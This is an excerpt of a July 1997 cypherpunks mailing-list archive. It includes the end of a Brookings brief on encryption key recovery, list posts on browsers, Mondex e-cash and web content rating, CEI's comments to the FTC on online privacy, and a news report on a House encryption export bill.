governments. Just as our private sector works with its
foreign partners to define standards that allow it to
operate easily and effectively in global markets, the
U.S. government must work with foreign governments to
define an international encryption policy that makes
the U.S. approach compatible with foreign systems.
U.S. requirements imposed on U.S.-based businesses
must be compatible with the foreign environments in
which they operate.

U.S. requirements should also be no more onerous than
those imposed by foreign governments on their business
communities. A level playing field, with common global
rules of the game, is needed to avoid giving economic
rivals competitive advantages over one another. The
administration made an important and correct decision
in seeking an international consensus on the key
recovery approach to strong encryption and must be
sure to continue to work hard in seeking this common
global approach. While it has yet to achieve such a
consensus within the OECD, many of the key players
with the technical capability to ship advanced
cryptography products and affect global
markets-Britain, France, and (quietly) Japan-are
supporting the U.S. approach, and if a few more (like
Germany and Israel) can be brought on board, the
critical mass around which the core of an
international agreement can be assembled will exist.

Finally, with cryptography set to play such a key role
in tomorrow's information infrastructure, some new
institution that provides a framework for business and
government to jointly examine both the overall
security of our information infrastructure and the
integrity of its individual parts is needed. At the
micro level, we must recognize that acquiring a
cryptographic product is not like buying a computer or
auto- simply testing or using it within an
organization gives insufficient insight into its
quality or utility. The essence of an effective
cryptography system is what the most capable and
potentially hostile forces outside a business or other
organization can do with the system. There are also
obvious economic benefits from some sort of
government-industry testing and certification process
that spares individual customers a costly and
duplicative investment in determining the
effectiveness of a cryptography product (and makes use
of sensitive information that may be available only to
the government). At the macro level, the integrity of
our power grid, banking system, and phone network are
clearly as vital to our national security as the
number of transport aircraft the U.S. Air Force buys,
and both government and industry have an obvious
interest in scrutinizing the entire information
infrastructure and taking steps to reduce weaknesses
and vulnerabilities. Government and the private sector
should form an oversight body tasked with both
reviewing the overall integrity and security of the
national information infrastructure and creating a
voluntary testing and certification process for the
information security products developed by the private
sector.

A national cryptography policy built around these four
elements- strong cryptography put into wide use, a
strengthened legal framework and electronic logging
system that provides rigorous oversight and
accountability for government access to the keys
needed to intercept and read coded data, negotiation
of an agreement with our close allies on a global
encryption standard, and formation of a
government/private sector oversight body to review
both the overall security of our national information
infrastructure and the voluntary testing and
certification of encryption and security products-will
leave many (maybe even most) participants in the
current debate unsatisfied. An absolute right to
privacy would not be created in the electronic realm.
The government would probably face greater constraints
in seeking lawful access to electronic communications,
and maintenance of auditable records probably will
create some additional costs. Business is being asked
to bear some burden in keeping the keys needed to
decrypt confidential communications for a time.
Intelligence and national security officials will be
more dependent than ever before on cooperation with
their allied counterparts. Cooperation on common rules
of the game for encryption at the international level
will have to be carefully negotiated. None of this
will be painless. But it must be done if we are to
balance an important and complex set of interests as
we enter the next century, the age of the information
society.

Kenneth Flamm is a senior fellow in the Brookings
Foreign Policy studies program and the author of
Mismanaged Trade? Strategic Policy and the
Semiconductor Industry (Brookings, 1996). The views
expressed in this Policy Brief are those of the author
and not necessarily those of the trustees, officers,
or other staff members of the Brookings Institution.


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/















From jim.burnes at ssds.com  Fri Jul 18 09:56:10 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Sat, 19 Jul 1997 00:56:10 +0800
Subject: Censorware Summit Take II, from The Netly News
In-Reply-To: 
Message-ID: 





On Fri, 18 Jul 1997, John Adams wrote:

> On Thu, 17 Jul 1997, Lucky Green wrote:
> 
> > Nothing wrong with releasing a GNU browser, but you will find it difficult
> > to impossible to match the features of a modern browser such as
> > Communicator and MSIE. Some may be happy with Lynx. Myself and most
> > consumers will stick with Communicator and MSIE.
> 
> Is there any particular reason that NCSA's Mosaic is being ignored?  Sure,
> it's not GNU (hence not free to *everyone*) but it's out there, and it
> works.
> 

I've always been an admirer of the HotJava concept, if not the 
execution.  In other words, a dynamically modifiable browser that
"learns" how to handle new objects on-the-fly.  When I first read
Gosling's white paper on Java this was the biggest "ahaa!"
I had.  I believe there is a version that uses Python instead of
Java, but despite the fact that I admire Python quite a bit
Java definitely has the momentum here.

How hard would it be to implement a Java-based browser that has
most of the goodies that we need from day to day (crypto, tables,
plug-ins, etc)?

Implement this thing like Linux so that we get a core team going
and everybody starts throwing in chunks of code, objects etc.
The first cut of this beast could be minimal and with its
hot extensibility could grow to accomodate anyone's needs.

Jim Burnes







From azur at netcom.com  Fri Jul 18 10:11:11 1997
From: azur at netcom.com (Steve Schear)
Date: Sat, 19 Jul 1997 01:11:11 +0800
Subject: mondex
In-Reply-To: <199707181026.GAA01342@the-great-machine.mit.edu>
Message-ID: 



At 6:26 AM -0400 7/18/97, Ryan Lackey wrote:
>It would be kind of impressive in a way if Mondex were lame about
>allowing other currencies to proliferate free of state influences, yet
>managed to get the basic technology employed around the world, then some
>cypherpunkish group came up with their own cards, a little bit of
>software, etc. and then issued currency with more behind it than Mondex
>franchisees, had higher profits than Mondex, and then were to be the
>only currencies anyone would trust after the collapse of a few state-backed
>currencies.  Also, I'd trust the cypherpunkish crowd to do a better job
>of hardware and software design for the cards and system, so they're
>likely to be more secure in that fashion as well.
>
>Am I being utterly out of touch with reality, or only tangential to it?

Actually Doug Barnes, C2, gave a brief but excellent rump session talk at
FC '97 pointing out that Mondex could be a near ideal way to pay for fully
anonymous e$, since settlement can be offline, immediate, and
non-repudiatable.

--Steve







From jim.burnes at ssds.com  Fri Jul 18 10:12:36 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Sat, 19 Jul 1997 01:12:36 +0800
Subject: Censorware Summit Take II, from The Netly News
In-Reply-To: 
Message-ID: 





On Fri, 18 Jul 1997, Jim Burnes wrote:

> 
> 
> On Fri, 18 Jul 1997, John Adams wrote:
> 
> > On Thu, 17 Jul 1997, Lucky Green wrote:
> > 
> > > Nothing wrong with releasing a GNU browser, but you will find it difficult
> > > to impossible to match the features of a modern browser such as
> > > Communicator and MSIE. Some may be happy with Lynx. Myself and most
> > > consumers will stick with Communicator and MSIE.
> > 
> > Is there any particular reason that NCSA's Mosaic is being ignored?  Sure,
> > it's not GNU (hence not free to *everyone*) but it's out there, and it
> > works.
> > 
> 
> I've always been an admirer of the HotJava concept, if not the 
> execution.  In other words, a dynamically modifiable browser that
> "learns" how to handle new objects on-the-fly.  When I first read
> Gosling's white paper on Java this was the biggest "ahaa!"
> I had.  I believe there is a version that uses Python instead of
> Java, but despite the fact that I admire Python quite a bit
> Java definitely has the momentum here.


Slight correction...there is not a version of HotJava that uses
Python.  I was talking about a different product.

jim







From dlv at bwalk.dm.com  Fri Jul 18 10:35:27 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 19 Jul 1997 01:35:27 +0800
Subject: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <3.0.2.32.19970718085427.0364b774@panix.com>
Message-ID: 



Duncan Frissell  writes:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 10:52 AM 7/17/97 +1000, ? the Platypus {aka David Formosa} wrote:
> 
> >When microsoft has more power and money then most goverments I begin to 
> >see no real difference between president Bill gates and any other
> >totalrion dictator.
> 
> But how many divisions does Mr. Bill have?

The pope could beat the shit out of Bill if it was a real
Italian pope and not some dumb polack.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From tcmay at got.net  Fri Jul 18 10:36:49 1997
From: tcmay at got.net (Tim May)
Date: Sat, 19 Jul 1997 01:36:49 +0800
Subject: Will Monolithic Apps Dominate?
In-Reply-To: 
Message-ID: 



At 9:42 AM -0700 7/18/97, Jim Burnes wrote:

>I've always been an admirer of the HotJava concept, if not the
>execution.  In other words, a dynamically modifiable browser that
>"learns" how to handle new objects on-the-fly.  When I first read
>Gosling's white paper on Java this was the biggest "ahaa!"
>I had.  I believe there is a version that uses Python instead of
...


For a short while after getting my first real Web access, after many years
of shell accounts at Portal, Netcom, etc., I thought Netscape (OK,
"Navigator") would be my Swiss Army Knife of apps. The One True Web App.

As it turned out, I continued using Eudora Pro for e-mail. I'd been using
it since 1992, and it had evolved along with other tools and remained
better than what Netscape had included in Navigator. At least to me it was
better.

And I adopted Newswatcher, a Mac app, for my newsreader.

So all I use Navigator for is Web browsing. Sadly, Navigator 3.0 just about
tripled in footprint, from about 5 MB to about 14 MB (for a relatively
crash-free setup, though it still crashes with "Type 11" memory errors a
couple of times a day). As I can't see any particular advantages to Version
3 over Version 2, except for "dancing Java images," :-{, I'm seriously
considering abandoning 3 and going back to 2.

I'm not at all convinced that monolithic apps like this will do well. A
cluster of smaller apps, provided they have relatively consistent
look-and-feel, as they mostly do, will probably do better for many of us.
Smaller, nimbler apps are harder for government forces to regulate,
influence, and limit.

What does this mean for crypto, certificates, etc.? It means that what
Netscape, Microsoft, and other monolithic app suppliers don't hold all the
cards. What the government forces/cajoles NS and MS to do with
certificates, crypto, Web ratings, could end up helping more users decide
to defect from the monolithic apps to smaller,less constraining apps.

Maybe this is part of why Netscape's stock price is continuing its long
downward slide....

Note to NS and MS employees reading this: If your products become
associated with Big Brother, a lot of people will shun them even further.

(Sidenote: I don't follow the "certificates" debate very closely. What I
think, however, is that I will not be constrained at all in communicating
with my offshore friends securely, regardless of what the government does
with export laws and GAK. Unless they outlaw domestic unescrowed crypto, or
illegalize the communications across U.S. borders with unescrowed crypto,
which seems ipso facto a violation of the First Amendment.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From declan at well.com  Fri Jul 18 10:47:10 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 19 Jul 1997 01:47:10 +0800
Subject: FTC privacy comments from CEI and National Consumer Coalition
Message-ID: 





---------- Forwarded message ----------
Date: Fri, 18 Jul 1997 10:30:59 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: FTC privacy comments from CEI and National Consumer Coalition

The Competitive Enterprise Institute and the National Consumer Coalition
filed these comments in response to the FTC's four-day privacy hearing
last month. Some excerpts:
	
	The fear over children seeing sexually explicit materials
	online led to hasty calls for Internet censorship in the
	Communications Decency Act. Yet the Supreme Court
	recently struck down the law, ruling that the Federal
	government should not be in the business of trying to
	protect children with such a blunt - and patently
	unconstitutional - instrument. Similarly, the  rhetoric
	surrounding the issue of children's privacy on the
	Internet has led to hasty calls for regulation.  Indeed,
	the Administration has taken a strong, even ominous
	position: "This problem warrants prompt attention. 
	Otherwise, government action may be required." [...]

	Sometimes information has been released to anybody and
	everybody, via chat rooms or other forums.  Since this
	information becomes part of the knowledge of others, our
	"property right" to control this information is actually
	a "right" to control the actions of other people who now
	have this information.  This is an infringement upon our
	basic freedoms of association, contract, and speech.
	There is nothing wrong with collecting information freely
	placed in public, as much of this information is. [...]

More info:

 http://pathfinder.com/netly/editorial/0,1012,1050,00.html
 http://pathfinder.com/netly/opinion/0,1042,1055,00.html

-Declan

---------- Forwarded message ----------

July 14, 1997

Secretary
Federal Trade Commission
Room H-159
Sixth St. and Pennsylvania Avenue, NW
Washington, D.C. 20580

Consumer Privacy 1997
Additional Comments P954807


To the Secretary:

The Competitive Enterprise Institute and the National
Consumer Coalition hereby file additional comments on
the Commission's June 10-13 hearings on "Consumer
Privacy Issues Posed by the Online Marketplace." CEI
is a non-profit, non-partisan free-market research and
advocacy group.   The NCC is a coalition of nine
organizations dedicated to the proposition that
consumers are best served by a free market in goods
and services.   We thank the Commission for including
us in the four Roundtable discussions during the
hearings, and appreciate the opportunity to elaborate
upon some of the issues raised during the course of
the hearings.

What is Privacy? - Part II

In our opening comments, we wrote that when it comes
to collection of consumer data, "privacy is not a
right, it is a preference."   The evidence presented
during the hearings regarding ways to "protect"
privacy, as well as the surveys showing consumer
views, have convinced us that this remains true.

The Harris/Westin survey was an interesting
contribution to the discussion of privacy on the
Internet. We are not convinced, however, that everyone
interviewed understood "privacy" in the same way.
Privacy is an abstraction, like "freedom" or
"justice," so it is likely that the people surveyed
imposed their own concerns upon the term "privacy."
One point on which the survey is clear is that people
who are concerned about their privacy have done
something about it.  In this case, it is more
illuminating to look at what people do than at what
they say.

Nevertheless, some have used this survey to support
their arguments for federal regulation and
congressional privacy legislation.  Neither of these
would be appropriate responses to consumers' hesitance
towards Internet commerce.  It is the job of companies
operating on the Internet to gain consumer confidence,
not the duty of the government. Indeed, the proper
role for the government is to guard against force,
theft, and fraud.

Property Rights on the Internet

Professor Alan Westin said that web users "are worried
that their e-mail communications may be intercepted,
their visits to web sites can be covertly tracked,
their participation in chat rooms and forums can be
monitored without their consent."   One possible
solution was to give individuals a "property right" in
the information they have released onto the Internet.
 From this follows a call for federal protection of
this "property right" via limits on the collection and
sale of personal data.

The argument that people have a "property right" in
their personal data is ironic, as it comes from those
who would have the government infringe upon the
property rights of both ISPs and companies on the Web.
 We believe that this upside-down conception of
"property" will work against consumers' interests in
freedom of contract and association.

Traditionally, private property rights have been
understood to be the means by which we secure our
privacy, as expressed in the old adage, "A man's home
is his castle." Our system of property rights enables
us to enjoy privacy (i.e. from government intrusion).
 In recent years, however, the basis for legal claims
has become the idea of an  inviolate personhood.  A
"legal right" to information about oneself on the
Internet, as some have advocated, is the next step.
>From this comes the "right" to control information
about oneself after one has already released it.  This
is a step in the wrong direction.

If an individual has released information about
himself in a contractual agreement with certain limits
on it, then he has a right to see that that
information is treated in a certain way.  For example,
if a company web page says that it will not collect
information, and it does, then that is a broken
contract.  On the other hand, if a company says it
will collect all kinds of information, then
privacy-sensitive individuals have been warned and
should avoid that site.  From the examples discussed
at the hearing, it seems that many companies are still
getting used to the way the Internet works, and they
are only beginning to understand the utility of
publishing privacy policies. For example, the New York
Times discovered during the course of the hearings
that it had no published privacy policies on its web
site, a situation it addressed immediately.
Time-Warner's Pathfinder site recently added prominent
links to its privacy policy as well.

Sometimes information has been released to anybody and
everybody, via chat rooms or other forums.  Since this
information becomes part of the knowledge of others,
our "property right" to control this information is
actually a "right" to control the actions of other
people who now have this information.  This is an
infringement upon our basic freedoms of association,
contract, and speech. There is nothing wrong with
collecting information freely placed in public, as
much of this information is.  Nor is there anything
wrong with one party selling information to another
party as long as it was not under fraudulent
circumstances.  If a person objects to this
information being sold, then it is up to the
individual to make alternative arrangements with which
he is more comfortable. .  In other words, protecting
your privacy is your responsibility. That is the value
inherent in the freedom to contract.

Bringing back the original conception of property
rights, as well as freedom of contract, is the best
way of protecting an individual's privacy preferences
on the Internet. Rather than implementing a system of
government regulation of data collection practices,
people should be able to choose whether or not to
contract with a company or otherwise.  Restricting the
downstream actions of others based upon a made-up
right will undercut our other valued freedoms.

On Self-Regulation

We laud the Federal Trade Commission for its cautious
response toward calls to regulate the Internet.  We
are also pleased with the Clinton Administration's
stated intention to refrain from regulating most parts
of the Internet.   We agree in principle that
data-gatherers ought to inform consumers what kinds of
data they are collecting and how that data will be
used.  If it really is true that consumers are highly
concerned about this, then companies scrambling to
sell goods and services over the Internet will
accommodate them. (We also note that there are already
strong incentives for information brokers to ensure
the accuracy of information they collect, since there
is no market for inaccurate information.)

What troubles us is the concept of "self-regulation."
Although the term implies a lack of government
regulation, many of these codes are being developed in
response to a threat of regulation. As the Clinton
Administration's recently released report on Internet
commerce stated, "We believe that private efforts of
industry working in cooperation with consumer groups
are preferable to government regulation, but if
effective privacy protection cannot be provided in
this way, we will reevaluate this policy."   We
believe that the Commission should not use
"self-regulation" as a way to steer the development of
policies on the Internet  without going through the
standard process for proposing regulations.  The
Commission must still defend whatever goals it
proposes.

One component of this "self-regulation" was the
Platform for Privacy Preferences.   This template
would allow consumers to fine-tune their preferences
and allow them to know what sort of policies a web
site has.  This may be a fine idea, and we hope that
if consumers find it acceptable, it will be adopted by
many organizations.

However, we do not believe that a single privacy
standard is necessarily desirable.  There are many
real-world examples of competing standards co-existing
peacefully.   There are different monetary systems,
there are different systems of measurement (English
and metric, Celsius and Fahrenheit), there are
different languages. The Commission should be wary of
backing a single standard for the Internet.

The threat of regulation is nearly as serious as
actual regulation.  It may well be that the solutions
supported by the Commission and the Administration are
the best ones.  It also may be that there is an
alternate solution around the corner, one which we
cannot predict now but one which might be stifled
because it does not match the goals supported by
current government officials.  This could have very
serious ramifications for the future development of
the Internet.  After all, companies already entrenched
in a particular market that ask for regulation often
do so in order to constrain the actions of future
competitors and to derive windfall benefits, a
practice known as "rent-seeking."  If regulation
stymies the growth of the Internet, we will have no
way of knowing what we have given up as a result.

The idea that federal regulation of the Internet is
somehow better than a market solution to privacy
questions is completely unfounded.  Indeed, the
evidence is that federal regulation in every other
sector of American life has had adverse and unforeseen
consequences which end up hurting consumers.   There
is no reason to believe that federal regulation of
privacy practices will be any better than the current
situation, and it may well be worse.

Children and The Internet

The fear over children seeing sexually explicit
materials online led to hasty calls for Internet
censorship in the Communications Decency Act. Yet the
Supreme Court recently struck down the law, ruling
that the Federal government should not be in the
business of trying to protect children with such a
blunt - and patently unconstitutional - instrument.
Similarly, the  rhetoric surrounding the issue of
children's privacy on the Internet has led to hasty
calls for regulation.  Indeed, the Administration has
taken a strong, even ominous position: "This problem
warrants prompt attention.  Otherwise, government
action may be required."

We believe that before the Commission begins to
regulate in the name of children, it should recognize
from the start that today's children are tomorrow's
adults, and that these regulations may restrict their
rights when they are grown up.  The Commission should
be wary of proposals which would effectively treat
adults like children.

The Center for Media Education's report on the privacy
practices of some web sites seemed to shock the
Commission.  Yet we are not sure why the fact that a
toothpaste company which sends a solicited e-mail to a
child in the name of the Tooth Fairy - an e-mail which
contains neither the name of the product being sold
nor the name of the company -is so disturbing,
especially since for many years people have been able
to have letters from Santa Claus sent to children. We
are in fact puzzled as to why similar "information
collection practices" which have gone on for decades
(e.g. children sending box tops away for magic decoder
rings) are suddenly sinister when performed over the
Internet.

We note that CME's primary objection is advertising
itself, and "privacy" is just a means to criticize it.
 For example, one target of CME's outrage is "animated
product spokescharacters," e.g. Tony the Tiger, which
"interact with your children...fostering intimate
relationships that compel your children to buy
specific products and services."   That these
"spokescharacters" also ask children for e-mail
addresses appears to be a slightly less urgent
concern. CME's recommendations to the Commission
include restrictions on the use of these cartoons:
"Product and other fictional figures should not be
used to solicit personally identifiable information
from children."   Indeed, elsewhere CME states
explicitly that "there should be no direct interaction
between children and product spokescharacters"  on web
pages.  This is tantamount to a ban on selected
content simply because of its advertising nature.

This is not the proper forum for a discussion of the
great value of advertising to consumers, and why
advertising is not, and never was, a sinister seducer
of consumers.   We will, however, say that children
are far more skeptical of advertising than CME gives
them credit for.  No matter how much advertising, or
how little, there is, children will still want things
and their parents can still tell them, "No."  In
short, it appears that this issue has very little to
do with privacy on the Internet, and far more to do
with CME's anti-advertising agenda.

Nonetheless, CME did introduce some interesting
issues.   CME looked at the existence and content of
privacy practices on children's web sites, and
publicized them. There is nothing wrong with this;
indeed, if children's privacy is such a high concern
for individuals, then companies will respond (many of
the web sites in question addressed the issue as soon
as it was brought to their attention).  As more and
more people become comfortable with the Internet, and
become aware of its capabilities, we expect to see all
kinds of practices - from content, to advertising, to
data collection - to become more refined in response
to consumer demand.

CME also raised the question of how and when to obtain
verifiable parental consent to collect information
from children. One suggestion was to have parents mail
in a signed form indicating that their child may use
the web page and may divulge certain information.  Not
only would this curtail what is an essentially benign
practice - not even CME can explain what actual harm
might result from this collection - but anyone who has
ever known a child to forge his parent's signature to
play hooky knows that this is not a good solution.

It is an irony of the Internet that the technology
which enables data-gatherers to collect information on
what people look at can easily be thwarted by
Anonymizers and other disguising technologies.  It
still holds true that sometimes on the Internet, as
the famous New Yorker animal cartoon showed, "nobody
knows you're a dog."  Nobody has to know that you are
or are not a child, either.  Obviously, forcing
children to identify themselves as minors, especially
in such a public area as the Internet, would be
unwise.

Consequently, regulations aimed at "protecting
children's privacy" are going to hit adults as well.
For this reason, we urge the Commission to refrain
from drawing up regulations specifically targeted
towards children. Nor should the role of parents be
underestimated or tossed aside in favor of federal
regulation.  Though the Harris/Westin survey showed a
nearly unanimous belief that children's privacy ought
to be protected on the Internet, the survey also said
that not even a plurality of parents have done much to
protect it.  There are a plethora of technologies
available to enable parents to monitor and adjust what
their children see, and more are on the way.  We urge
parents to keep in mind that just as they would think
twice before allowing a child wander around New York
City alone, they should supervise their children on
the Internet.

Conclusion

The Commission is under a great deal of pressure, from
within the government and without, to regulate at
least some parts of the Internet. As more and more
people become Internet users, it is even more
important for the government to refrain from
regulating.  The Commission should confine itself to
policing fraud and investigating any actual injury.


Julie DeFalco on behalf of the Competitive Enterprise
Institute and for the National Consumer Coalition
Endnotes



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/











From declan at well.com  Fri Jul 18 10:56:46 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 19 Jul 1997 01:56:46 +0800
Subject: FC: Brookings Inst. on crypto: "There are reasonable compromises" (fwd)
Message-ID: 





---------- Forwarded message ----------
Date: Fri, 18 Jul 1997 10:40:17 -0700
From: Mike Godwin 
To: declan at well.com, fight-censorship-announce at vorlon.mit.edu
Subject: Re: FC: Brookings Inst. on crypto: "There are reasonable compromises"

At 9:17 AM -0700 7/18/97, Declan McCullagh wrote:
> Which
>is all you'll find at Morton's, where the menu lists a fine
>selection of slabs, all thick, bloody, expensive.

The last three words, of course, are an excellent description of most
Washington politicians.


--Mike




----------------------------------------------------------------------------
We shot a law in _Reno_, just to watch it die.

      Mike Godwin, EFF Staff Counsel, can be reached at mnemonic at eff.org
                   or at his office, 510-548-3290.
----------------------------------------------------------------------------









From wesf at mail.utexas.edu  Fri Jul 18 11:52:47 1997
From: wesf at mail.utexas.edu (Wesley Felter)
Date: Sat, 19 Jul 1997 02:52:47 +0800
Subject: mondex
Message-ID: <1342895971-8715296@mail.binarycompass.com>



On 7/18/97 3:26 AM, Ryan Lackey said:

>Does anyone know how open the Mondex architecture is?  Is it in any way
>possible to set up a competing system with your own card manufacture
>and issuing bodies for currencies which can be used in deployed Mondex
>POS terminals without too much hassle?  Would this be analagous to the
>problem of replacing InterNIC with other NICs -- you need to make the
>user servers know to look at the rival systems and understand their 
>keys?

As I understand it, Mondex is a completely closed system. Everything that 
you don't absolutely need to know is undocumented. Since you can settle 
offline, the potential for fraud is frightening; unless I'm getting the 
benefit of these, um, weaknesses in the system, I don't want there to be 
any. The lack of privacy seems to be somewhat of a smokescreen; since you 
can settle offline, they don't have a really accurate way of tracking 
transactions except at the interface between e$ and other forms of money 
or goods (like their POS terminals and ATMs).

Can you hack Mondex? They say you can't...

Wesley Felter - wesley at binarycompass.com - Binary Compass Enterprises
In BizRate we trust - 
Disclaimer: My employer knows I'm crazy.






From dkp at techie.com  Fri Jul 18 11:58:00 1997
From: dkp at techie.com (Dave K-P)
Date: Sat, 19 Jul 1997 02:58:00 +0800
Subject: 'Thanks for This Important Commitment'
Message-ID: <33CFB9BF.7267@techie.com>



'Thanks for This Important Commitment'

                     by Dan Brekke and Rebecca Vesely 
                     6:06pm  17.Jul.97.PDT Some words that came out of
                     President Clinton's mouth the other day signaled
                     that the Web's biggest search and directory
                     services were on board for a major effort to get
                     sites to rate themselves. 

                     "We ... need to encourage every Internet site,
                     whether or not it has material harmful for young
                     people, to label its own content," Clinton said
                     Wednesday at a White House event to announce
                     his new Net self-regulation initiative. "... To
help to
                     speed the labeling process along, several Internet
                     search engines - the Yellow Pages of cyberspace,
                     if you will - will begin to ask that all Web sites
                     label content when applying for a spot in their
                     directories." 

                     And then the self-described techno-idiot went on
                     to thank Yahoo, Excite, and Lycos "for this
                     important commitment." 

                     What the president and most of those who
                     reported the big news missed is that the
                     companies made no such commitment. Calls to
                     Yahoo's PR department minutes after the
                     president spoke for details on what the company
                     would do to get site owners to rate themselves
                     were met with puzzlement. Eventually, callers
                     were pointed to a press release issued in the
                     name of Yahoo, Infoseek, Lycos, and Excite that
                     pledged the companies would do ... almost
                     nothing. 

                     The release announced "an initiative to work
                     together to promote self-regulation of the
Internet."
                     Got that? The statement talked about the
                     importance of the First Amendment and how the
                     directories could make a difference "by making it
                     easy for Web site developers to rate themselves
                     and to identify their sites appropriately." 

                     Regardless of how wide of the mark they were,
                     Clinton's words did make news. And Thursday,
                     some of the directory mavens were trying to clarify
                     things. 

                     A spokeswoman for Excite said the search
                     engines will continue to monitor evolving plans on
                     how to keep kids from accessing pornography
                     online. 

                     "We have committed to a) finding a system or
                     systems for rating sites, and b) after finding that
                     system, allowing our users to voluntarily rate
                     themselves," said Jerry Yang, co-founder of
                     Yahoo.






From jeffb at issl.atl.hp.com  Fri Jul 18 12:48:48 1997
From: jeffb at issl.atl.hp.com (Jeff Barber)
Date: Sat, 19 Jul 1997 03:48:48 +0800
Subject: Brookings Inst. on crypto: "There are reasonable compromises"
In-Reply-To: 
Message-ID: <199707181959.PAA27626@jafar.issl.atl.hp.com>



Declan McCullagh forwards:

[ "There are reasonable compromises" ]

> no. 21
> Deciphering the Cryptography Debate
> 
> July 1997
> By Kenneth Flamm

In what way is this a compromise?  This is just the standard LEA
position.  Oh, I see.  Those who disagree with this position are the
ones expected to "compromise".

There's no room for compromise anyway.  They want access to our keys,
we don't want them to have access.  Either they succeed or we do.
There's no middle ground.


-- Jeff






From ravage at ssz.com  Fri Jul 18 13:06:05 1997
From: ravage at ssz.com (Jim Choate)
Date: Sat, 19 Jul 1997 04:06:05 +0800
Subject: http:--cnnfn.com-digitaljam-wires-9707-18-encryption_wg-
Message-ID: <199707181933.OAA04074@einstein.ssz.com>



   
   
   Compaq: Outstanding Products, Great New Prices. [INLINE] Digital Jam
   graphic 
   Encryption battle heats up
   
   
   House committee set to vote next
   week on bill that would relax limits
   
   July 18, 1997: 1:38 p.m. ET
   
   
   [LINK] 
   [INLINE] 
   
   
   U.S. OKs Netscape exports - June 24, 1997
   
   Encryption bill nears vote - June 4, 1997
   
   
   [IMAGE]
   
   U.S. House of Representatives
   Infoseek search 
   __________
   ____  ____
   WASHINGTON (Reuter) - The battle in Congress over export limits on
   computer encoding technology will heat up again next week as the House
   International Relations Committee is scheduled to vote on a bill to
   dramatically relax the current restrictions.
   [INLINE] The legislation, already approved by the House Judiciary
   Committee, would allow U.S. companies to export powerful encryption
   programs, software which scrambles information and renders it
   unreadable without a password or software "key."
   [INLINE] The International Relations Committee plans to hold a vote on
   July 22 on the bill, authored by Virginia Republican Bob Goodlatte and
   called the Security and Freedom through Encryption Act.
   [INLINE] Once the realm of spies and generals, encryption has become
   increasingly important as a means of securing global communications
   and electronic commerce over the Internet.
   [INLINE] The Clinton administration favors strict controls on
   encryption exports unless the programs allow the government to crack
   the codes by gaining access to the software keys. But many lawmakers
   oppose the limits, which they say hurt U.S. firms while allowing
   foreign companies to gain market share.
   [INLINE] The Goodlatte bill has over 190 co-sponsors, including a
   majority of members of the committee.
   [INLINE] But committee chairman Benjamin Gilman, a New York
   Republican, is strongly opposed and may try to amend the bill to
   retain most export controls, congressional staffers said.
   [INLINE] The substitute amendment could be modeled on encryption
   export provisions in a broader bill in the Senate backed by Arizona
   Republican John McCain and Nebraska Democrat Bob Kerrey, staffers
   said. That bill was approved by the Senate Commerce Committee last
   month, but a bill more similar to Goodlatte's is pending in the Senate
   Judiciary Committee.
   [INLINE] The McCain-Kerrey bill would allow free export of
   medium-strength encryption, with keys up to 56 bits long, and
   establish a board to consider raising the limit in the future. But the
   president would have the authority to overrule the board's decisions
   for reasons of national security.
   [INLINE] The vote in the International Relations Committee could be
   close, some lobbyists said.
   [INLINE] "I think the votes are there to defeat a substitute, but it's
   probably going to be close," said one industry lobbyist who asked not
   to be named.
   [INLINE] The Goodlatte bill would also prohibit mandatory key recovery
   for encryption used within the United States and criminalize the use
   of encryption to hide evidence of a crime. But those provisions are
   outside the International Relations committee's jurisdiction.
   [INLINE] Privacy advocates back the bill, arguing that people need
   unfettered access to strong encryption to protect the privacy of
   personal data, medical records and electronic communications. The
   software industry is also supporting the legislation.
   [INLINE] But FBI director Louis Freeh and other top law enforcement
   officials warn that the proliferation of strong encryption overseas
   will complicate the task of keeping tabs on international criminals
   and terrorists. Link to top 
   
   
   
   home | digitaljam | contents | search | stock quotes | help
   
   Copyright © 1997 Cable News Network, Inc.
   ALL RIGHTS RESERVED.






From declan at well.com  Fri Jul 18 13:17:25 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 19 Jul 1997 04:17:25 +0800
Subject: Keepers of the keys
Message-ID: 





---------- Forwarded message ----------
Date: Fri, 18 Jul 1997 12:04:56 -0700 (PDT)
From: Joe Shea 
To: Declan McCullagh 
Cc: fight-censorship-announce at vorlon.mit.edu
Subject: Re: FC: Brookings Inst. on crypto: "There are reasonable compromises"


	Declan, what would you think if the actual keepers of the keys, 
so to speak, were the courts, such as the Administratoive Office of the 
US Courts?  That would at least seem to reduce a lot of the possible
privacy concerns.  One has the sense that once they get into the hands of 
the varius agencies, they'll get back out.

Best,

Joe Shea
Editor-in-Chief
The American Reporter
joeshea at netcom.com
http://www.newshare.com:9999







From rhayden at orion.means.net  Fri Jul 18 14:09:52 1997
From: rhayden at orion.means.net (Robert Hayden-0797-EMP-HSE)
Date: Sat, 19 Jul 1997 05:09:52 +0800
Subject: MN CP meeting?
Message-ID: 



Anyone up for a Minnesota CP get-together anytime this summer?
 
=-=-=-=-=-=
Robert Hayden					rhayden at means.net
IP Network Administrator			(612) 230-4416
MEANS Telcom






From lizard at dnai.com  Fri Jul 18 14:21:31 1997
From: lizard at dnai.com (Lizard)
Date: Sat, 19 Jul 1997 05:21:31 +0800
Subject: Keepers of the keys
In-Reply-To: 
Message-ID: <3.0.1.32.19970718133642.00b6ee70@dnai.com>



